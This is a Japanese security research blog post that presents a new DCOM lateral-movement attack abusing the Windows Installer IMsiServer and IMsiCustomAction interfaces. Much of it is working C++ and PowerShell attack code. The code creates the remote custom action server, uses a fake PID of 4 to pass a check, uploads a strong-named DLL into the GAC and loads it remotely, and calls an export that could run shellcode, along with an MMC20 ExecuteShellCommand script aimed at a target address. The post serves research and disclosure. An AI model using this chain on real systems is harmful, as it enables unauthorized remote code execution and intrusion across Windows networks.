PSEXECはもう古い:DCOMアップロード&バックドア実行
エグゼクティブサマリー
このブログ記事では、ターゲットマシンにカスタムDLLを書き込み、サービスにロードし、任意のパラメータでその機能を実行できる強力な新しいDCOMラテラルムーブメント攻撃について説明します。このバックドアのような攻撃は、内部をリバースエンジニアリングすることでIMsiServer COMインターフェースを悪用します。このプロセスは、このブログで段階的に説明されています。また、今回の調査内容には最新のWindowsビルドに対する攻撃を実演する実用的なPOCツールも含まれています。
用語
COM & DCOM
コンポーネントオブジェクトモデル(COM)は、相互に作用しあうバイナリソフトウェアコンポーネントを作成するためのマイクロソフトの標準規格です。DCOM(分散COM)リモートプロトコルは、リモートコンピュータ上のオブジェクトの作成、起動、管理を行うための機能を提供することで、RPCを使用してネットワーク上でCOM標準規格を拡張します。
オブジェクト、クラス、インターフェース
COMでは、オブジェクトとは、システム内の他の部分に何らかのサービスを提供するコンパイル済みコードのインスタンスです。COMオブジェクトの機能は、そのCOMクラスが実装するインターフェースによって決まります。
コンパイル済みコードはCOMクラスとして定義され、クラスをファイルシステム(DLLまたはEXE)への配置と関連付けるグローバルに一意なクラスID(CLSID)によって識別されます。
リモートアクセス(DCOM)可能なCOMクラスは、別のグローバル一意識別子(GUID)であるAppIDで識別されます。
COMインターフェースは抽象クラスと見なすことができます。これは、実装クラスが提供しなければならないメソッドのセットを含むコントラクトを規定します。COMコンポーネント間のすべての通信はインターフェースを介して行われ、コンポーネントが提供するすべてのサービスはインターフェースを介して公開され、グローバルに一意のインターフェースID(IID)で表されます。COMクラスは複数のCOMインターフェースを実装することができ、インターフェースは他のインターフェースから継承することができます。
COMインターフェースとしてのC++ Class
C++インターフェースの実装はクラスを使用して行われます。C++ Classは、そのクラスがサポートするメンバ関数の配列を指す最初のメンバを持つ構造体(struct)として実装されます。この配列は仮想テーブル、または略してvtableと呼ばれます。
DCOM Research History
DCOMを介した水平移動は、サイバーセキュリティではよく知られた「やり方」であり、 Matt Nelson がリモートシステム上でコマンドを実行するためのMMC20.Application::ExecuteShellCommandの最初の悪用を明らかにした2017年にまで遡ります。マットが考案したリサーチプロセス を使用して、リサーチャーはリモートマシン上で実行プリミティブを公開する より多くのDCOMオブジェクト を発見しました。その中には、以下のようなものがあります:
ShellBrowserWindow 公開する ShellExecuteW, Navigate および Navigate2
Excel.Application 公開する ExecuteExcel4Macro, RegisterXLL
Outlook.Application 公開する CreateObject
同じ調査プロセスが 自動化されいくつかの攻撃が明らかになるにつれ、DCOM攻撃のほとんどがマッピングされたように思われました。このブログ記事では、新しいDCOMラテラルムーブメント攻撃を見つけるために、私が調査プロセスをどのようにテストしたかを説明します。
DCOMを調査する既知の方法
新しいDCOMラテラルムーブメント手法を見つけるには、以下の手順に従います:
デフォルトの起動およびアクセス権限を持つエントリをマシン上で検索
- James Forshaw氏の OleView .NET ツールは、このデータとその他の有用な情報を関連付け
前述の基準で発見されたAppIDは、ローカル管理者権限を持つユーザーがリモートでアクセスできるDCOM オブジェクト
疑わしいオブジェクトを調査、従来はPowerShellを使用していたが、オブジェクトの作成、インターフェースメソッドおよびプロパティの表示、およびそれらの呼び出しに簡単にアクセス可能
カスタムコードを実行できるメソッドが見つかるまで、前述の手順を繰り返す
ここで、既知のMMC20.Application::ExecuteShellCommandラテラルムーブメント攻撃を実装するために、これらの手順を適用します:
- MMC20.ApplicationクラスをホストするAppID 7E0423CD-1119-0928-900C-E6D4A52A0715は、デフォルトの権限を持っている
- 前述のAppIDは、CLSID 49B2791A-B1AE-4C90-9B8E-E860BA07F889にマッピング
- 前述のCLSIDから作成されたオブジェクトをPowerShellで確認
PS C:\> $com = [Type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889")
PS C:\> $mmcApp = [System.Activator]::CreateInstance($com)
PS C:\> Get-Member -InputObject $mmcApp
TypeName: System.__ComObject#{a3afb9cc-b653-4741-86ab-f0470ec1384c}
Name | MemberType | Definition |
Help | Method | void Help () |
Hide | Method | void Hide () |
Document | Property | Document Document () {get} |
- 発見されたプロパティに対するクエリを繰り返すと、RCEを可能にするExecuteShellCommandメソッドが明らかに
PS C:\> Get-Member -InputObject $mmcApp.Document.ActiveView
TypeName: System.__ComObject#{6efc2da2-b38c-457e-9abb-ed2d189b8c38}
Name | MemberType | Definition |
Back | Method | void Back () |
Close | Method | void Close () |
ExecuteShellCommand | Method | void ExecuteShellCommand (string, string, string, string) |
後に、DCOMセッションを作成し、攻撃を完了するために見つけたメソッドを呼び出す
<# MMCExec.ps1 #>
$com = [Type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889", "TARGET.I.P.ADDR")
$mmcApp = [System.Activator]::CreateInstance($com)
$mmcApp.Document.ActiveView.ExecuteShellCommand("file.exe", "/c commandline", "c:\file\folder",$null, 0)
新しい攻撃のクエリ
このレシピを使用して、私は新しいDCOMラテラルムーブメント攻撃の検索を開始しました。以下が私の調査結果です。
- AppID 000C101C-0000-0000-C000-000000000046はデフォルトの権限を持ち、OleView .NETは以下の詳細を明らかに
- Windows Installer サービス(msiexec.exe)でホスト
- AppID に等しい CLSID を持つ「Msi install server」という名前の COM オブジェクトをホスト
- オブジェクトは AppID に等しい IID を持つ IMsiServer という名前のインターフェースを公開
- クラスとインターフェースは msi.dll(ProxyStubClsid32 レジストリキーから参照)で実装
オブジェクトの名前とインストーラサービス内の位置に興味をそそられたので、PowerShellでそのメソッドをさらに問い合わせ:
PS C:\> $com = [Type]::GetTypeFromCLSID("000C101C-0000-0000-C000-000000000046")
PS C:\> $obj = [System.Activator]::CreateInstance($com)
PS C:\> Get-Member -InputObject $obj
TypeName: System.__ComObject
Name | MemberType | Definition |
CreateObjRef | Method | System.Runtime.Remoting.ObjRef CreateObjRef(type requestedType) |
Equals | Method | boot Equals (System.Object obj) |
GetHashCode | Method | int GetHashCode() |
結果は一般的な.NETオブジェクトメソッドを説明しており、「TypeName」フィールドはIMsiServer IIDを指していません。これは、PowerShellランタイムがIMsiServerオブジェクトの情報を照会できなかったことを意味します。この方法では攻撃を検索できません。
MMC20.Applicationの成功例と現在のIMsiServerの違いは、IDispatchインターフェースであり、前者はこれを実装していますが、後者は実装していません。
IDispatch
IDispatchは、スクリプト言語(VB、PowerShell)や高レベル言語(.NET)が、それを実装するCOMオブジェクトと、事前知識なしにやりとりすることを可能にする基本的なCOMインターフェースです。これは、実装オブジェクトを記述し、それとやりとりする統一されたメソッドを公開することで実現されています。これらのメソッドには、以下のようなものがあります。
- IDispatch::GetIDsOfNames は、メソッドまたはプロパティの名前を DISPID という名前の整数にマッピング
- IDispatch::Invoke は、DISPID に基づいてオブジェクトのメソッドのいずれかを呼び出す
既知の DCOM 水平移動攻撃はすべて、文書化された IDispatch ベースのインターフェースに基づいており、PowerShell を通じて容易に相互通信を行うことができます。 IDispatch インターフェースとの相互通信が容易であるため、セキュリティコミュニティは、攻撃の可能性の大部分に気づくことができませんでした。
この問題を解決し、ドキュメントがなく、IDispatchをサポートしていないIMsiServerに関する研究をさらに進めるには、PowerShellに依存しない代替のアプローチを設計する必要があります。
インターフェース定義を遡って調べる
IMsiServer についてさらに詳しく知るには、インターフェース定義を含む DLL、msi.dll を調査する必要があります。
- IDA を使用して、IMsiServer の IID を表す 16 進バイト列を検索します。msi.dll - 1C 10 0C 00 00 00 00 00 C0 00 00 00 00 00 00 46 から、IID_IMsiServer という名前のシンボルを見つける
- 相互参照 IID_IMsiServer により、IMsiServer インターフェースのクライアント実装の一部である CMsiServerProxy::QueryInterface が表示
- CMsiServerProxy::QueryInterface を相互参照すると、.rdata セクションにインターフェースの vtable が表示
このデータと、いくつかの追加の定義によりIMsiServerインターフェースを再作成しました。
struct IMsiServer : IUnknown
{
virtual iesEnum InstallFinalize( iesEnum iesState, void* riMessage, boolean fUserChangedDuringInstall) = 0;
virtual IMsiRecord* SetLastUsedSource( const ICHAR* szProductCode, const wchar_t* szPath, boolean fAddToList, boolean fPatch) = 0;
virtual boolean Reboot() = 0;
virtual int DoInstall( ireEnum ireProductCode, const ICHAR* szProduct, const ICHAR* szAction,const ICHAR* szCommandLine, const ICHAR* szLogFile,int iLogMode, boolean fFlushEachLine, IMsiMessage* riMessage, iioEnum iioOptions , ULONG, HWND__*, IMsiRecord& ) = 0;
virtual HRESULT IsServiceInstalling() = 0;
virtual IMsiRecord* RegisterUser( const ICHAR* szProductCode, const ICHAR* szUserName,const ICHAR* szCompany, const ICHAR* szProductID) = 0;
virtual IMsiRecord* RemoveRunOnceEntry( const ICHAR* szEntry) = 0;
virtual boolean CleanupTempPackages( IMsiMessage& riMessage, bool flag) = 0;
virtual HRESULT SourceListClearByType(const ICHAR* szProductCode, const ICHAR*, isrcEnum isrcType) = 0;
virtual HRESULT SourceListAddSource( const ICHAR* szProductCode, const ICHAR* szUserName, isrcEnum isrcType,const ICHAR* szSource) = 0 ;
virtual HRESULT SourceListClearLastUsed( const ICHAR* szProductCode, const ICHAR* szUserName) = 0;
virtual HRESULT RegisterCustomActionServer( icacCustomActionContext* picacContext, const unsigned char* rgchCookie, const int cbCookie, IMsiCustomAction* piCustomAction, unsigned long* dwProcessId, IMsiRemoteAPI** piRemoteAPI, DWORD* dwPrivileges) = 0;
virtual HRESULT CreateCustomActionServer( const icacCustomActionContext icacContext, const unsigned long dwProcessId, IMsiRemoteAPI* piRemoteAPI,const WCHAR* pvEnvironment, DWORD cchEnvironment, DWORD dwPrivileges, char* rgchCookie, int* cbCookie, IMsiCustomAction** piCustomAction, unsigned long* dwServerProcessId,DWORD64 unused1, DWORD64 unused2) = 0;
[snip]
}
リモートインストールできる?
DoInstall 機能は、リモートマシンにMSIをインストールするラテラルムーブメントを実行する有望な候補として、すぐに頭角を現します。しかし、CMsiConfigurationManager::DoInstallのサーバーサイドの実装を調査すると、リモートでは不可能であることが分かります:
// Simplified pseudo code
CMsiConfigurationManager::DoInstall([snip])
{
[snip]
if (!OpenMutexW(SYNCHRONIZE, 0, L"Global\\_MSIExecute"))
return ERROR_INSTALL_FAILURE;
[snip]
}
このコードは、IMsiServer::DoInstallのDCOMコールを呼び出す際に、リモートサーバーがGlobal\\_MSIExecuteという名前のミュートックスの存在をチェックすることを意味します。このミュートックスはデフォルトでは開かれていないため、コールは失敗します。
Msi.dllは、IMsiServerインターフェースではアクセスできない関数からこのミュートックスを作成するため、IMsiServerを悪用する別の関数を見つけなければなりません。
リモートカスタムアクション
不正使用の2つ目の候補は次のとおりです:
HRESULT IMsiServer::CreateCustomActionServer(
const icacCustomActionContext icacContext,
const unsigned long dwProcessId,
IMsiRemoteAPI* piRemoteAPI,
const WCHAR* pvEnvironment,
DWORD cchEnvironment,
DWORD dwPrivileges,
char* rgchCookie,
int* cbCookie,
IMsiCustomAction** piCustomAction,
unsigned long* dwServerProcessId,
bool unkFalse);
Iこれは、出力COMオブジェクトIMsiCustomAction** piCustomActionを作成します。このオブジェクト名から、リモートターゲット上で「カスタムアクション」を呼び出すことができることが分かります。
CMsiConfigurationManager::CreateCustomActionServerのサーバー側コードを逆アセンブルすると、DCOMクライアントを偽装し、そのIDを持つ子MSIEXEC.exeを作成し、その結果IMsiCustomAction** piCustomActionをホストすることが分かります。
IMsiCustomActionのシンボルを検索するためにmsi.dllを検索すると、そのIIDが明らかになります:
IMsiServerを発見するために行ったのと同じ相互参照をシンボルを使用して行うと、IMsiCustomActionのインターフェース定義を再作成することができます:
IID IID_IMsiCustomAction = { 0x000c1025,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };
// Interface is trimmed for simplicty
struct IMsiCustomAction : IUnknown
{
virtual HRESULT PrepareDLLCustomAction(ushort const *,ushort const *,ushort const *,ulong,uchar,uchar,_GUID const *,_GUID const *,ulong *)=0;
virtual HRESULT RunDLLCustomAction(ulong,ulong *) = 0;
virtual HRESULT FinishDLLCustomAction(ulong) = 0;
virtual HRESULT RunScriptAction(int,IDispatch *,ushort const *,ushort const *,ushort,int *,int *,char * *) = 0;
[snip]
virtual HRESULT URTAddAssemblyInstallComponent(ushort const*,ushort const*, ushort const*) = 0;
virtual HRESULT URTIsAssemblyInstalled(ushort const*, ushort const*, int*, int*, char**) = 0;
virtual HRESULT URTProvideGlobalAssembly(ushort const*, ulong, ulong*) = 0;
virtual HRESULT URTCommitAssemblies(ushort const*, int*, char**) = 0;
virtual HRESULT URTUninstallAssembly(ushort const*, ushort const*, int*, char**) = 0;
virtual HRESULT URTGetAssemblyCacheItem(ushort const*, ushort const*, ulong, int*, char**) = 0;
virtual HRESULT URTCreateAssemblyFileStream(ushort const*, int) = 0;
virtual HRESULT URTWriteAssemblyBits(char *,ulong,ulong *) = 0;
virtual HRESULT URTCommitAssemblyStream() = 0;
[snip]
virtual HRESULT LoadEmbeddedDLL(ushort const*, uchar) = 0;
virtual HRESULT CallInitDLL(ulong,ushort const *,ulong *,ulong *) = 0;
virtual HRESULT CallMessageDLL(UINT, ulong, ulong*) = 0;
virtual HRESULT CallShutdownDLL(ulong*) = 0;
virtual HRESULT UnloadEmbeddedDLL() = 0;
[snip]
};
RunScriptAction や RunDLLCustomAction といった名前から、IMsiCustomAction が宝の山である可能性が高いと思われます。しかし、それを利用する前に、まず IMsiServer::CreateCustomActionServer への DCOM コールにより、このアクションを作成する必要があります。それでは、攻撃用クライアントを作成してみましょう:
// Code stripped from remote connection and ole setupCOSERVERINFO coserverinfo = {};
coserverinfo.pwszName = REMOTE_ADDRESS;
coserverinfo.pAuthInfo = pAuthInfo_FOR_REMOTE_ADDRESS;
CLSID CLSID_MsiServer = { 0x000c101c,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };
IID IID_IMsiServer = CLSID_MsiServer;
MULTI_QI qi ={};
qi.pIID = &IID_IMsiServer; // the interface we aim to get
HRESULT hr = CoCreateInstanceEx(CLSID_MsiServer, NULL, CLSCTX_REMOTE_SERVER, &coserverinfo, 1, &qi) ;
IMsiServer* pIMsiServerObj = qi.pItf;
この時点で、pIMsiServerObj はクライアントの IMsiServer インターフェースを指しています。次に、IMsiServer::CreateCustomActionServer の正しい引数を作成する必要があります。
主な引数:
- dwProcessId はクライアントの PID を含むことが期待されており、サーバー側ではローカルの PID として扱われます。クライアントの実際の PID を指定すると、サーバー側ではリモートターゲット上で見つけることができず、呼び出しに失敗します。このチェックを回避するには、常に存在するSystemプロセスを指すようにdwProcessId=4を設定します。
- IMsiRemoteAPIインスタンスを指すはずのPiRemoteAPIは、初期化するのが最も難しいものです。 msi.dllのシンボルを検索すると、そのインターフェースのIIDが得られます。
IID IID_IMsiRemoteApi = { 0x000c1033,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };
しかし、CLSID_MSISERVERはIID_IMsiRemoteApiを実装していないため、以下のように呼び出して直接作成することはできません:
HRESULT hr = CoCreateInstance(CLSID_MSISERVER, NULL, CLSCTX_INPROC_SERVER, IID_IMsiRemoteApi ,&piRemoteAPI) ;
CLSIDの発見と実装
ご注意:このセクションでは、技術的なリバースエンジニアリングのプロセスを説明します。ここでは、IMsiServer::CreateCustomActionServerを正しく呼び出す方法を説明します。詳細な手順に興味のない方は、「セキュア化されたアクション」まで読み飛ばしてください。
IMsiRemoteApi のインスタンスを作成するには、それを実装するクラスの CLSID を特定する必要があります。 まず、msi.dll 内の CLSID_MsiRemoteApi というシンボルを検索します。 しかし、今回は結果が返されません:
msi.dll内でIID_IMsiRemoteApiが作成される場所を追跡しようと試みましたが、クロス参照を使用してもできませんでした。
- IID_IMsiRemoteApiのクロス参照を行うと、IMsiRemoteApiインターフェースの一部であるCMsiRemoteAPI::QueryInterfaceが見つかる
- CMsiRemoteAPI::QueryInterfaceを検索すると、.rdataセクションのIMsiRemoteApiのvtableにつながり、これは??_7CMsiRemoteAPI@@6B@というシンボルでマークされている
?_7CMsiRemoteAPI@@6B@ を検索すると、CMsiRemoteAPI::CMsiRemoteAPI につながり、これは IMsiRemoteApi インスタンスのコンストラクタ
- コンストラクタを検索すると、それを呼び出すファクトリメソッドである CreateMsiRemoteAPI につながる
- ファクトリーメソッドを検索すると、.rdataセクションにあるrgFactoryという名前のファクトリーメソッドの配列の9番目の要素であることがわかる
- rgFactoryの使用状況を検索すると、CModuleFactory::CreateInstanceで使用されていることがわかる
CModuleFactory::CreateInstanceがrgFactoryからインデックスでメソッドを取得し、それを呼び出してオブジェクトを作成し、それをoutObjectで返していることがわかります。
これは、同じインデックスで、rgCLSID(スニペットの緑色の線)から取得されたGUIDが、入力引数_GUID *inCLSIDと等しい場合に発生します。
rgCLSID は、.rdata セクションの CLSID 配列を指すグローバル変数です。
この配列の9番目の要素(CreateMsiRemoteAPI(rgFactoryの9番目のメンバー)の呼び出しを引き起こす)はCLSIDです。
CLSID CLSID_MsiRemoteApi = { 0x000c1035,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };
つまり、CModuleFactory::CreateInstance が CLSID_MsiRemoteApi を引数として呼び出された場合、私たちが望む IMsiRemoteAPI* piRemoteAPI のインスタンスが作成されるということです。
あとは、クライアントコードから CModuleFactory::CreateInstance を呼び出すだけです。
IClassFactory
CModuleFactory::CreateInstance はパブリックエクスポートではありませんが、相互参照を行うと、CModuleFactory の vtable にたどり着きます。
vtableの最初のメソッドはQueryInterfaceの実装であり、これはCModuleFactoryがインターフェースの実装であることを意味します。次の2つのNullsubsは、IUnkown::AddRef & IUnkown::Releaseの空のインプリメンテーションであり、次の2つのメソッド
- CreateInstance(逆順に並べ替え)
- LockServer
をMSDNで検索すると、DLLを実装する際にCOMオブジェクトの作成にファクトリーデザインパターンを定義するインターフェースであるIClassFactoryが明らかになります。このインターフェースの機能は、msi.dllを含む実装DLLによってエクスポートされるDllGetClassObjectと呼ばれるメソッドを通じてアクセスされます。
これが、msi.dll!DllGetClassObjectを呼び出してターゲットのIMsiRemoteAPI* piRemoteAPIを作成する方法です。
// code stripped from error handling
typedef HRESULT(*DllGetClassObjectFunc)(
REFCLSID rclsid,
REFIID riid,
LPVOID* ppv
);
// we dont need the definition of IMsiRemoteApi if we just want to instantiate it
typedef IUnknown IMsiRemoteApi;
HMODULE hmsi = LoadLibraryA("msi.dll");
IClassFactory* pfact;
IUnknown* punkRemoteApi;
IMsiRemoteApi* piRemoteAPI;
DllGetClassObjectFunc DllGetClassObject = (DllGetClassObjectFunc)GetProcAddress(hdll, "DllGetClassObject");
// creating the CLSID_MsiRemoteApi class
HRESULT hr = DllGetClassObject(CLSID_MsiRemoteApi, IID_IClassFactory, (PVOID*)&pfact);
// piRemoteAPI initilized to IMsiRemoteApi*
hr = pfact->CreateInstance(NULL, CLSID_MsiRemoteApi, (PVOID*)&punkMsiRemoteApi);
hr = punkMsiRemoteApi->QueryInterface(IID_IMsiRemoteApi, reinterpret_cast<void**>(piRemoteAPI));
IMsiServer::CreateCustomActionServer を呼び出して、ターゲットのIMsiCustomAction** piCustomAction インスタンスを作成することができます。
IMsiRemoteAPI* pRemApi = // created above;
const int cookieSize = 16; // a constant size CreateCustomActionServer anticipates
icacCustomActionContext icacContext = icac64Impersonated; // an enum value
const unsigned long fakeRemoteClientPid = 4;
unsigned long outServerPid = 0;
IMsiCustomAction* pMsiAction = nullptr; // CreateCustomActionServer's output
int iRemoteAPICookieSize = cookieSize;
char rgchCookie[cookieSize];
WCHAR* pvEnvironment = GetEnvironmentStringsW();
DWORD cEnv = GetEnvironmentSizeW(pvEnvironment);
HRESULT msiresult = pIMsiServerObj->CreateCustomActionServer(icacContext, fakeRemoteClientPid, pRemApi, pvEnvironment, cEnv, 0, rgchCookie, &iRemoteAPICookieSize, &pMsiAction,&outServerPid,0, 0);
セキュア化されたアクション
新たに作成したIMsiCustomAction* pMsiActionにより、リモートのMSIEXEC.EXEプロセスから「カスタムアクション」を実行できるようになりました。そして今、私たちはIMsiCustomActionからコードを実行できるメソッドを見つけ出すことに焦点を当てています。これにより、新たな水平移動テクニックが手に入ります。
以前にも述べたように、IMsiCustomActionにはRunScriptActionやRunDLLCustomActionといった有望な関数名がいくつか含まれています。
これらの関数をリバースすると、好みのDLLからエクスポートをロードして実行したり、インメモリカスタムスクリプトコンテンツ(VBSまたはJS)を実行したりできることが分かります。 あまりにも出来すぎだと思われますか? その通りなんです。
Windowsは、これらの関数の冒頭で簡単なチェックを行い、リモートDCOMコンテキストでこの機能が呼び出されるのを防いでいます。
if(RPCRT4::I_RpcBindingInqLocalClientPID(0, &OutLocalClientPid)&&
OutLocalClientPid != RegisteredLocalClientPid)
{
return ERROR_ACCESS_DENIED;
}
クライアントがリモート(DCOMセッション中)の場合にI_RpcBindingInqLocalClientPID が失敗することが判明し、私たちは行き詰ってしまいました。
このセキュリティチェックが存在しない関数を探す必要があります。
セキュリティ保護されていないロードプリミティブ
I_RpcBindingInqLocalClientPID の使用法を相互参照し、それを使用しないIMsiCustomAction の関数を調査することで、無防備な IMsiCustomAction メソッドに焦点を当てて調査を進めます。この条件に一致する次の関数は、IMsiCustomAction::LoadEmbeddedDll(wchar_t const* dllPath, bool debug) です。
この関数をリバースすると、次のことが明らかになります。
- LoadEmbeddedDLL は dllPath パラメータで Loadlibrary を呼び出し、そのハンドルを保存
- dllPath から 3 つのエクスポートを特定し、そのアドレスを保存
- LoadEmbeddedDLL は存在しないエクスポートに対してエラーを返さない
テストにより、リモートシステム上のすべての DLL にリモートロードのプリミティブがあることが確認されました!
// Loads any DLL path into the remote MSIEXEC.exe instance hosting pMsiAction
pMsiAction->LoadEmbeddedDLL(L"C:\Windows\System32\wininet.dll",false);
これは横方向の移動には十分でしょうか? それだけでは不十分です。単にターゲットシステムのHDから良性の既存のDLLをロードするだけでは、ロード時にDLLが実行するコードを制御することはできません。
しかし、リモートでDLLをマシンに書き込み、そのパスをLoadEmbeddedDLLに提供できれば、完全な攻撃が可能になります。
一部の攻撃 では、このような原始的な手法を見つけた後に責任を委譲し、SMB アクセスが可能なマシンにペイロードを個別に書き込むことを推奨しています。しかし、この種のアクセスは非常に騒々しいので、通常はブロックされます。
IMsiCustomAction を使用して、リモートマシンのHDに自己完結型の書き込みプリミティブを見つけることを目指します。
リモート書き込みプリミティブ
IMsiCustomAction インターフェースの関数名の組み合わせから、リモート書き込みプリミティブが可能であると推測できます。
- IMsiCustomAction::URTCreateAssemblyFileStream
- IMsiCustomAction::URTWriteAssemblyBits
IMsiCustomAction::URTCreateAssemblyFileStream をリバースすると、その前にいくつかの初期化関数を実行する必要があることがわかります。
以下の手順で、ファイルストリームを作成し、そこに書き込み、コミットすることができます。
1.以下の関数は、次の関数を呼び出すために必要なデータを初期化
HRESULT IMsiCustomAction::URTAddAssemblyInstallComponent(
wchar_t const* UserDefinedGuid1,
wchar_t const* UserDefinedGuid2,
wchar_t const* UserDefinedName);
2. 次の関数は、ファイルストリームを管理する文書化されたオブジェクトである IAssemblyCacheItem* の内部インスタンスを作成
HRESULT IMsiCustomAction::URTGetAssemblyCacheItem(
wchar_t const* UserDefinedGuid1,
wchar_t const* UserDefinedGuid2,
ulong zeroed,
int* pInt,
char** pStr);
3. 次に、URTCreateAssemblyFileStream が IAssemblyCacheItem::CreateStream を呼び出し、上記のパラメータで IStream* のインスタンスを作成します。 将来のファイル名は FileName となります。 IStream* を内部変数に保存
HRESULT IMsiCustomAction::URTCreateAssemblyFileStream(
wchar_t const* FileName,
int Format);
4. 以下の関数は、const char* pv から ulong cb で指定されたバイト数をファイルストリームに書き込むために IStream::Write を呼び出し、書き込まれたバイト数を pcbWritten に返す
HRESULT IMsiCustomAction::URTWriteAssemblyBits(
const char* pv,
ulong cb, ulong* pcbWritten);
5. 最後に、以下の関数では、IStream::Commit を使用してストリームの内容を新しいファイルにコミット
HRESULT IMsiCustomAction::URTCommitAssemblyStream();
ダミーの payload.dll を用意し、先の関数シーケンスを使用してターゲットマシンにアップロードします。
char* outc = nullptr;
int outi = 0;
LPCWSTR mocGuid1 = L"{13333337-1337-1337-1337-133333333337}";
LPCWSTR mocGuid2 = L"{13333338-1338-1338-1338-133333333338}";
LPCWSTR asmName = L"payload.dll";
LPCWSTR assmblyPath = L"c:\local\path\to\your\payload.dll";
hr = pMsiAction->URTAddAssemblyInstallComponent(mocGuid1, mocGuid2, asmName);
hr = pMsiAction->URTGetAssemblyCacheItem(mocGuid1, mocGuid2, 0,&outi ,&outc);
hr = pMsiAction->URTCreateAssemblyFileStream(assmblyPath, STREAM_FORMAT_COMPLIB_MANIFEST);
HANDLE hAsm = CreateFileW(assmblyPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD asmSize, sizeRead;
GetFileSize(hAsm, NULL);
char* content = new char[asmSize];
readStatus = ReadEntireFile(hAsm, asmSize, &sizeRead, content);
ulong written = 0;
hr = pMsiAction->URTWriteAssemblyBits(content, asmSize, &written);
hr = pMsiAction->URTCommitAssemblyStream();
一連の処理は成功しますが、payload.dll が書き込まれた場所はわかりません。リモートマシンでpayload.dllという名前のファイルを検索すると、そのパスが明らかになります。
コードを再実行すると、同様のパスにpayload.dllが生成されます。
これらのパスの形式は、C:¥assembly¥tmp¥[RANDOM_8_LETTERS]¥payload.dll です。 RANDOM_8_LETTERS を予測することはできないため、前述のパスでプリミティブ IMsiCustomAction::LoadEmbeddedDll を呼び出すことはできません。
payload.dll を予測可能なパスに置く方法を見つけなければなりません。そして、IMsiCustomAction がまた私たちを導いてくれます。
パスの制御
次に逆アセンブルするメソッドは IMsiCustomAction::URTCommitAssemblies です。このメソッドは、ストリーム上で文書化された関数 IAssemblyCacheItem::Commit を使用していることが分かります。
この関数は、.NET アセンブリをグローバルアセンブリキャッシュ(GAC)にインストールします。インストール先は、C:WindowsMicrosoft.NETassemblyGAC* 内の予測可能なパスです。これにより、IMsiCustomAction::URTCommitAssemblies の使用が新たな目標となります。
GACに格納されたアセンブリは、アセンブリの唯一性を保証する公開鍵と秘密鍵のペアで作成された署名である「ストロングネーム」で識別されなければなりません。
この点を考慮し、URTCommitAssembliesを正常に利用してペイロードを予測可能なパスに配置するという目標を達成するために、payload.dllをストロングネーム付きの.NETアセンブリDLLに変更します。
// example x64 dummy POC for .NET payload.dll
// a strong name should be set for the dll in the VS compilation settings
namespace payload
{
public class Class1
{
public static void DummyNotDLLMain()
{
}
}
}
新しいペイロードでIMsiCustomAction::URTCommitAssembliesを使用するようにコードを更新し、それを再実行します。
HRESULT URTCommitAssemblies(wchar_t const* UserDefinedGuid1, int* pInt, char** pStr);
int outIntCommit = 0;
char* outCharCommit = nullptr;
// mocGuid1 is the same GUID we created for invoking URTAddAssemblyInstallComponent
hr = pMsiAction->URTCommitAssemblies(mocGuid1, &outIntCommit, &outCharCommit);
Payload.dll は現在、次の場所にアップロードされています。
payload.dllの強力な名前の詳細に従って、このパス上の各トークンを分析すると、インストールされたアセンブリのGACパス構造が導き出される(.NETバージョン4以降で有効):
C:WindowsMicrosoft.NETassemblyGAC_[assembly_bitness]\[assembly_name]\v4.0_[assembly_version]__[public_key_token]\[assembly_name].dll
これらの詳細を署名付きDLLから取得するには、sigcheck.exe(Sysinternals)とsn.exe(.NET Frameworkツール)を使用します。
私たちは、アセンブリDLLをGACの予測可能なパスにインストールし、パス構造を把握することに成功しました。それでは、私たちの努力を攻撃コードに組み込んでみましょう。
// resuming from our last code snippets
// our payload is the dummy .NET payload.dll
// URTCommitAssemblies commits payload.dll to the GAC
hr = pMsiAction->URTCommitAssemblies(mocGuid1, &outIntCommit, &outCharCommit);
std::wstring payload_bitness = L"64"; // our payload is x64
std::wstring payload_version = L"1.0.0.0"; // sigcheck.exe -n payload.dll
std::wstring payload_assembly_name = L"payload";
std::wstring public_key_token = L"136e5fbf23bb401e"; // sn.exe -T payload.dll
// forging all elements to the GAC path
std::wstring payload_gac_path = std::format(L"C:\\Windows\\Microsoft.NET\\assembly\\GAC_{0}\\{1}\\v4.0_{2}__{3}\\{1}.dll", payload_bitness, payload_assembly_name, payload_version,public_key_token);
hr = pMsiAction->LoadEmbeddedDLL(payload_gac_path.c_str(), 0);
更新された攻撃コードは正常に実行され、リモートのMSIEXEC.exeにペイロードがロードされたことを確認するために、Windbgで侵入し、問い合わせます:
成功しました!しかし、まだ完全ではありません。.NET アセンブリにはネイティブプロセス上の「DllMain」機能がないため、コードが実行されないのです。いくつかの回避策が考えられますが、私たちの解決策は payload.dll アセンブリにエクスポートを追加することです。このエクスポートを呼び出すには、再びIMsiCustomActionが役立ちます。
NET エクスポートの実行
前述の通り、IMsiCustomAction::LoadEmbeddedDLLは、要求されたDLLをロードした後、いくつかのエクスポートを解読しようとし、その結果を保存します。結果のアドレスを使用してコードを検索すると、ロードされたDLLからそれぞれのエクスポートを呼び出す3つのIMsiCustomActionメソッドが明らかになります。
- IMsiCustomAction::CallInitDLLはInitializeEmbeddedUIを呼び出し
- IMsiCustomAction::CallShutdownDLL は ShutdownEmbeddedUI を呼び出し
- IMsiCustomAction::CallMessageDLL は EmbeddedUIHandler を呼び出し
各メソッドはそれぞれのエクスポートに異なる引数を渡します。最も豊富な引数セットを提供する IMsiCustomAction::CallInitDLL を使用します。
HRESULT CallInitDLL(ulong intVar, PVOID pVar, ulong* pInt, ulong* pInitializeEmbeddedUIReturnCode);
// CallInitDLL calls InitializeEmbeddedUI with the following args:
DWORD InitializeEmbeddedUI(ulong intVar, PVOID pVar, ulong* pInt)
ulong intVarとPVOID pVarの組み合わせにより、ペイロードの実行に高い柔軟性がもたらされます。例えば、PVOID pVarはペイロードが実行するシェルコードを指し示すことができ、ulong intVarはそのサイズとなります。
今回のPOCでは、攻撃者が制御するコンテンツを含むメッセージボックスを表示するpayload.dll内のInitializeEmbeddedUIのシンプルな実装を作成します。
